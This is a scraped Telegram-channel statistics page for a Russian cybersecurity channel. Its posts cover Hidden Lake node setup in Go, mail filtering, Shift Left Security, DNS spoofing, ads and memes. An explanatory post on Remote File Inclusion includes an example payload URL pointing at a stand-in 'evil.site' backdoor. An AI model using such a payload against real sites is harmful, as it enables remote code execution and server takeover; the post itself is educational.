Мир сегодня с "Юрий Подоляка"

Труха⚡️Україна

Карап чыгуу

Николаевский Ванёк

Карап чыгуу

Мир сегодня с "Юрий Подоляка"

Карап чыгуу

Труха⚡️Україна

Карап чыгуу

Николаевский Ванёк

Карап чыгуу

ZeroDay | Кибербезопасность

Технологиялар

Ваш учебник по кибербезопасности
Реклама - @bashmak_media
https://telega.in/c/cybersec_academy
РКН: https://vk.cc/cHYqeq

TGlist рейтинг

ТипАчык

Текшерүү

Текшерилбеген

Ишенимдүүлүк

Ишенимсиз

ОрдуРосія

ТилиБашка

Канал түзүлгөн датаMay 15, 2025

TGlistке кошулган дата

Oct 31, 2024

Мен каналдын ээсимин

Өзгөрүүлөр тарыхы

Тиркелген топ

ZК

CyberSec chat

116

Telegram каналы ZeroDay | Кибербезопасность статистикасы

Толугураак

Катталгандар

39 534

24 саат

210.1%Жума

480.1%Ай

3 4969.7%

Цитация индекси

0

Эскерүүлөр1Каналдарда бөлүштү0Каналдарда эскерүүлөр1

1 посттун орточо көрүүлөрү

3 117

12 саат1 1800%24 саат3 117

46.7%48 саат4 0250%

Катышуу (ER)

3.81%

Кайра посттошту45Комментарийлер0Реакциялар64

Көрүүлөр боюнча катышуу (ERR)

5.38%

24 саат0%Жума0%Ай

2.54%

1 жарнама посттун орточо көрүүлөрү

2 315

1 саат00%1 – 4 саат00%4 - 24 саат00%

Толугураак

Биздин ботту каналыңызга кошуп, анын аудиториясынын жынысын билүү.

Акыркы 24 саатта бардык посттор

4

Динамика

"ZeroDay | Кибербезопасность" тобундагы акыркы жазуулар

Бардык посттор

Кайра бөлүшүлгөн:

Codeby

15.05.202511:10

▶️ Друзья, уже сегодня пройдет вебинар «Реверс с нуля: как перестать бояться и начать взламывать программы»
🔴Регистрация

Ждем в 19:00 МСК, если вы:
▪️ Хотите разобраться в реверс-инжиниринге, но не знаете с чего начать
▪️ Боитесь сложных CTF-задач на реверс
▪️ Мечтаете научиться анализировать вредоносное ПО
▪️ Хотите понять, как работают программы под капотом

Ведущий: Станислав Маркелов — эксперт по реверсу, призёр DrWeb CTF, автор CTF-задач.

Не пропустите! 😎 Регистрация здесь.

🚀 Трудности с регистрацией? Пишите @Codeby_Academy

15.05.202510:00

Три способа запустить Hidden Lake-узел на Go

👋 Приветствую в мире цифровой безопасности!

Вернемся к запуску узла Hidden Lake.

node := anonymity.NewNode(

⏺Высокоуровневый путь - HLS: Если задача просто юзать сеть, этот способ подойдёт суперски:

$ go install github.com/number571/hidden-lake/cmd/hls@latest

Из коробки HLS подтянет нужные подключения и стартует как полноценный узел. Но встроенные микросервисы и архитектура усложняют кастомизацию.

⏺Средний путь - network.NewHiddenLakeNode: Вот теперь по-настоящему удобно. Новый API позволяет запустить полноценный узел буквально в пару строчек:

node := network.NewHiddenLakeNode(

Без кастомного логгера, без QB-конструктора, без лишней боли. Просто:
➡️передаём ключ,
➡️задаём список соединений,
➡️указываем базу и обработчик.

⏺И вот условно вы решили проверить, как два узла работают друг с другом. Запускаем runNode для каждого и реализуем простейшую обработку запроса:

func echoHandler(_ context.Context, _ asymmetric.IPubKey, r request.IRequest) (response.IResponse, error) {

Они обмениваются публичными ключами и шлют друг другу сообщения:

rsp, err := node1.FetchRequest(

И в результате:

$ go run .

ZeroDay | #hiddenlake

15.05.202507:00

🙀Ваш пароль был украден, поменяйте его по ссылке…
Сможете ли вы распознать фишинг?

С каждым годом фишинг становится все изощреннее, а противостоять мошенникам — все сложнее. Один из ведущих провайдеров IT-инфраструктуры Selectel подготовил квиз с популярными схемами краж данных. Он напомнит, как важно сохранять бдительность в интернете.

Получится ли у вас раскрыть коварные замыслы мошенников?

Проверьте свои знания и внимательность в квизе от Selectel

Реклама. АО «Селектел», ИНН 7810962785, ERID: 2Vtzqxf2mtg

14.05.202514:24

Hidden Lake: что это?

👋 Приветствую в мире цифровой безопасности!

Расскажу, как работает Hidden Lake - децентрализованная анонимная сеть нового поколения

⏺Что такое Hidden Lake: Это F2F (friend-to-friend) сеть, которая не зависит от количества узлов, их расположения или связей между ними.
Сеть построена по модели QB-задачи:

➡️Сообщения шифруются ключом получателя: c = Ek(m)
➡️Рассылаются всем участникам сети каждые T секунд
➡️Даже если нет данных — отправляется фейковое сообщение c = Er(v)
➡️Каждый пытается расшифровать всё. Получилось? Значит для вас. Нет? Игнорируем.

⏺Так и в чем особенность: Запуск узла стал реально нативным. Код на Go, сеть работает независимо от структуры, анонимность не требует доверия к третьим сторонам. Хотите сделать свой мессенджер, логгер или просто зашифрованный канал - Hidden Lake теперь позволяет это без боли.

Делаем вторую часть с настройкой?

ZeroDay | #безопасность

14.05.202511:24

6 задач от команды ИБ и розыгрыш призов: Ozon Tech Cyber Quiz Bot🪿

Все, кто решит хотя бы одну, участвуют.
Призы: наборы мерча и сертификаты на Ozon.

13.05.202515:00

📝 12 способов украсть ваш пароль - от подсматривания до взлома хеша.

ZeroDay | #полезное

13.05.202512:00

Самая востребованная IT-профессия в 2025 году

Спрос на специалистов по кибербезопасности постоянно растёт.
По данным Positive Technologies к 2027 году потребность в таких кадрах увеличится до 261 тыс. человек.

В сфере информационной безопасности ценится образование.
Если поступите в магистратуру «Кибербезопасность», вашу квалификацию подтвердит диплом ВШЭ.
Все занятия здесь проходят онлайн, а студенты получают льготы очного обучения.

За 2 года вы научитесь:

— программировать на Python;
— работать с криптографическими методами защиты;
— проводить оценку сетевой инфраструктуры;
— выстраивать защиту сетей компании.

Приём документов заканчивается 16 сентября, вы ещё успеваете поступить.
Воспользуйтесь возможностью и начните путь к новой карьере → https://netolo.gy/d9c8

Реклама. ООО "Нетология". ИНН 7726464125 Erid: 2VSb5xmZUqv

13.05.202511:07

Proxmox Mail Gateway: защита почты для безопасников

👋 Приветствую в мире цифровой безопасности!

Поговорим о еще одном инструменте безопасности.

⏺Что это такое: Proxmox Mail Gateway — это open-source решение, которое защищает почтовые серверы, фильтруя всю почту. Он разруливает спам, вирусы, фишинг и трояны, а настройка через удобный веб-интерфейс не заставит вас тратить кучу времени.

⏺Чем интересен: Интеграция за несколько минут, прокси-сервер между фаерволом и почтовым сервером. Он контролирует все входящие и исходящие письма, обеспечивая полный контроль над почтовыми потоками и защищая репутацию вашей компании.

ZeroDay | #Инструмент

13.05.202508:07

Хочешь стать Linux-экспертом?

LinuxCamp — канал системного разработчика, который поможет тебе освоить Linux, DevOps и программирование на профессиональном уровне!

— Уникальные гайды по администрированию Linux

— Продвинутые техники и рекомендации по работе в Bash

— Подробные статьи о внутреннем устройстве операционных систем

— Интересные факты и новости из мира технологий

🌐 Присоединяйся к нам и становись частью сообщества истинных гуру: LinuxCamp

12.05.202517:50

Когда в компанию наняли безопасника и по ftp уже не зайдешь

ZeroDay | #мем

22.04.202513:09

Argus: Крутая разведка с Python

👋 Приветствую в мире цифровой безопасности!

Поговорим о еще одном инструменте безопасности.

⏺Что это такое: Argus — это универсальный recon-инструмент, заточенный под сбор информации о сетях, веб-приложениях и системах безопасности. Под капотом — удобный интерфейс, куча встроенных модулей и гибкая архитектура. Всё, что нужно, чтобы начать разведку — в одном месте.

⏺Чем крут: Он отлично подходит как для быстрого сканирования, так и для глубокого анализа. Вывод читаемый, результаты — сразу готовы к работе. Работает гибко, не перегружен, легко настраивается под стиль конкретного специалиста.

ZeroDay | #Инструмент

21.04.202514:17

Расследование: как фальшивые DNS-записи крадут ваши данные, а вы и не замечаете

Вы вводите URL любимого сайта, но попадаете на его идеальную копию, созданную мошенниками. Что, если DNS-система работает против вас? Подмены записей, отравление кэша и атаки через MITM — все это может привести к краже ваших данных: от паролей до криптокошельков.

⏺В статье — детальное разъяснение того, как хакеры юзают уязвимости в DNS для кражи данных, а также как можно защититься от подобных атак и избежать фишинга.

ZeroDay | #Статья

19.04.202511:30

- Наверное, он думает о других женщинах

- Я закрыл ту zero-day уязвимость или это мне приснилось?

ZeroDay | #мем

18.04.202515:30

🎉 Результаты розыгрыша:

🏆 Победители:
1. ivanterner (@ivanterner)
2. Len4r | ᏀᏒᎬᎻ (@undertaker_gpt)
3. Andrei (@a_vasiukou)
4. Ivan (@Lord_Voron)

✔️Проверить результаты

18.04.202514:00

Shift Left Security: думаем о безопасности с первого дня

👋 Приветствую в мире цифровой безопасности!

Сегодня расскажу не про уязвимость, а про подход, который помогает их избежать - Shift Left Security.

⏺Что это вообще такое: это не инструмент и не фреймворк, а идея — внедрять практики безопасности на самых ранних стадиях разработки. Не после деплоя, не когда баг уже в проде, а прямо на этапе написания кода, проектирования, коммитов и CI/CD.

⏺Как это работает:
1️⃣Разработчики проверяют безопасность кода до ревью — например, с помощью SAST (анализ кода).
2️⃣Тесты безопасности запускаются в CI/CD как обязательный этап.
3️⃣Принципы безопасности учитываются уже при проектировании архитектуры.
4️⃣Dev и Sec работают вместе: никакой “передачки” задач на тестеров и админов.
5️⃣Любой pull request — это потенциальная проверка на баги и уязвимости.

⏺Чем пользоваться: Инструменты типа Snyk, SonarQube, Checkov — всё, что можно встроить в CI/CD. Плюс GitHub Actions, Git hooks и постоянное моделирование угроз.

ZeroDay | #безопасность

Бардык посттор

Эч нерсе табылган жок 😢

Толугураак

Рекорддор

15.05.202523:59

39.5KКатталгандар

26.04.202523:59

450Цитация индекси

15.05.202515:13

3.1K1 посттун көрүүлөрү

26.03.202513:30

2.5K1 жарнама посттун көрүүлөрү

29.03.202523:59

7.29%ER

20.03.202523:59

8.38%ERR

Өнүгүү

Толугураак

Катталуучулар

Citation индекси

Бир посттун көрүүсү

Жарнамалык посттун көрүүсү

ERR

Толугураак

ZeroDay | Кибербезопасность популярдуу жазуулары

Бардык посттор

14.05.202514:24

Hidden Lake: что это?

👋 Приветствую в мире цифровой безопасности!

Расскажу, как работает Hidden Lake - децентрализованная анонимная сеть нового поколения

13.05.202515:00

📝 12 способов украсть ваш пароль - от подсматривания до взлома хеша.

ZeroDay | #полезное

22.04.202513:09

12.05.202517:50

Когда в компанию наняли безопасника и по ftp уже не зайдешь

ZeroDay | #мем

13.05.202511:07

17.04.202512:00

📝 Как работает Remote File Inclusion (RFI)

Всё начинается с безобидного параметра в URL — сайт хочет подключить нужную страницу. Но он же может подключить чужую, вместо своей 🧐

⏺Веб-приложение получает запрос вроде: ?page=about.php — и просто включает указанный файл.

⏺Но фильтрации нет. И теперь можно подставить ссылку на внешний файл: ?page=https://evil.site/backdoor.php

⏺Сервер, ничего не подозревая, скачивает внешний PHP-файл и исполняет его как часть своего кода.

⏺Этот код может делать всё: красть данные, открывать удалённый доступ, ставить бекдоры — потому что он запускается от имени сервера.

⏺Пока юзер думает, что пользуется сайтом — на сервере уже работает чужой сценарий.

ZeroDay | #атака

21.04.202514:17

15.05.202510:00

Три способа запустить Hidden Lake-узел на Go

👋 Приветствую в мире цифровой безопасности!

Вернемся к запуску узла Hidden Lake.

⏺Всего у нас есть три способа, которыми мы это можем сделать (спойлер: последний самый крутой)

⏺Низкоуровневый путь - go-peer: Самостоятельный запуск узла через go-peer - это вроде и работает неплохо, но настраивать это совсем неприятно... Вам придётся руками инициализировать: хранилище, логгер, сетевой стек, шифрование и кучу всего еще.

⏺Высокоуровневый путь - HLS: Если задача просто юзать сеть, этот способ подойдёт суперски:

Из коробки HLS подтянет нужные подключения и стартует как полноценный узел. Но встроенные микросервисы и архитектура усложняют кастомизацию.

⏺Средний путь - network.NewHiddenLakeNode: Вот теперь по-настоящему удобно. Новый API позволяет запустить полноценный узел буквально в пару строчек:

Без кастомного логгера, без QB-конструктора, без лишней боли. Просто:
➡️передаём ключ,
➡️задаём список соединений,
➡️указываем базу и обработчик.

⏺И вот условно вы решили проверить, как два узла работают друг с другом. Запускаем runNode для каждого и реализуем простейшую обработку запроса:

Они обмениваются публичными ключами и шлют друг другу сообщения:

И в результате:

ZeroDay | #hiddenlake

15.05.202507:00

14.05.202511:24

19.04.202511:30

- Наверное, он думает о других женщинах

- Я закрыл ту zero-day уязвимость или это мне приснилось?

ZeroDay | #мем

18.04.202514:00

Shift Left Security: думаем о безопасности с первого дня

👋 Приветствую в мире цифровой безопасности!

Сегодня расскажу не про уязвимость, а про подход, который помогает их избежать - Shift Left Security.

13.05.202508:07

Кайра бөлүшүлгөн:

Codeby

15.05.202511:10

13.05.202512:00

Көбүрөөк функцияларды ачуу үчүн кириңиз.